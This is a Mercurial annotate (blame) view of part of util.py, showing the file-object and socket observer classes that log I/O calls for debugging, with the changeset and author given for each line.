bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	851 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	852
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	853 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	854 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	855
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	856 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	857
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	858 def readinto(self, res, dest):
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	859 if not self.reads:
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	860 return
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	861
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	862 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	863 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	864 '%s> readinto(%d) -> %r' % (self.name, len(dest), res)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	865 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	866
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	867 data = dest[0:res] if res is not None else b''
41406 b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	868
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	869 # _writedata() uses "in" operator and is confused by memoryview because
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	870 # characters are ints on Python 3.
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	871 if isinstance(data, memoryview):
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	872 data = data.tobytes()
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	873
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	874 self._writedata(data)
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	875
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	876 def write(self, res, data):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	877 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	878 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	879
36660 8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	880 # Python 2 returns None from some write() calls. Python 3 (reasonably)
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	881 # returns the integer bytes written.
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	882 if res is None and data:
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	883 res = len(data)
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	884
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	885 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	886 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	887
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	888 self._writedata(data)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	889
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	890 def flush(self, res):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	891 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	892 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	893
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	894 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	895
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	896 # For observedbufferedinputpipe.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	897 def bufferedread(self, res, size):
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	898 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	899 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	900
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	901 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	902 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	903 '%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	904 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	905
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	906 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	907
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	908 def bufferedreadline(self, res):
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	909 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	910 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	911
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	912 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	913 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	914 '%s> bufferedreadline() -> %d' % (self.name, len(res))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	915 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	916
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	917 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	918
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	919
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	920 def makeloggingfileobject(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	921 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	922 ):
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	923 """Turn a file object into a logging file object."""
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	924
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	925 observer = fileobjectobserver(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	926 logh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	927 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	928 reads=reads,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	929 writes=writes,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	930 logdata=logdata,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	931 logdataapis=logdataapis,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	932 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	933 return fileobjectproxy(fh, observer)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	934
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	935
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	936 class socketobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	937 """Logs socket activity."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	938
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	939 def __init__(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	940 self,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	941 fh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	942 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	943 reads=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	944 writes=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	945 states=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	946 logdata=False,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	947 logdataapis=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	948 ):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	949 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	950 self.name = name
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	951 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	952 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	953 self.states = states
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	954 self.logdata = logdata
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	955 self.logdataapis = logdataapis
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	956
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	957 def makefile(self, res, mode=None, bufsize=None):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	958 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	959 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	960
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	961 self.fh.write('%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	962
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	963 def recv(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	964 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	965 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	966
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	967 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	968 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	969 '%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	970 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	971 self._writedata(res)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	972
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	973 def recvfrom(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	974 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	975 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	976
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	977 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	978 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	979 '%s> recvfrom(%d, %d) -> %d'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	980 % (self.name, size, flags, len(res[0]))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	981 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	982
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	983 self._writedata(res[0])
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	984
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	985 def recvfrom_into(self, res, buf, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	986 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	987 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	988
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	989 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	990 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	991 '%s> recvfrom_into(%d, %d) -> %d'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	992 % (self.name, size, flags, res[0])
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	993 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	994
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	995 self._writedata(buf[0 : res[0]])
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	996
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	997 def recv_into(self, res, buf, size=0, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	998 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	999 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1000
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1001 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1002 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1003 '%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1004 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1005
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1006 self._writedata(buf[0:res])
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1007
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1008 def send(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1009 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1010 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1011
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1012 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1013 '%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1014 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1015 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1016
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1017 def sendall(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1018 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1019 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1020
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1021 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1022 # Returns None on success. So don't bother reporting return value.
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1023 self.fh.write('%s> sendall(%d, %d)' % (self.name, len(data), flags))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1024
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1025 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1026
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1027 def sendto(self, res, data, flagsoraddress, address=None):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1028 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1029 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1030
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1031 if address:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1032 flags = flagsoraddress
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1033 else:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1034 flags = 0
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1035
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1036 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1037 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1038 '%s> sendto(%d, %d, %r) -> %d'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1039 % (self.name, len(data), flags, address, res)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1040 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1041
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1042 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1043
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1044 def setblocking(self, res, flag):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1045 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1046 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1047
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1048 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1049
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1050 def settimeout(self, res, value):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1051 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1052 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1053
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1054 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1055
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1056 def gettimeout(self, res):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1057 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1058 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1059
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1060 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1061
39097 ed8160e4fea0 util: fix signature of setsockopt in socket observer Augie Fackler <augie@google.com> parents: 38852 diff changeset	1062 def setsockopt(self, res, level, optname, value):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1063 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1064 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1065
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1066 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1067 '%s> setsockopt(%r, %r, %r) -> %r\n'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1068 % (self.name, level, optname, value, res)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1069 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1070
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1071
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1072 def makeloggingsocket(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1073 logh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1074 fh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1075 name,
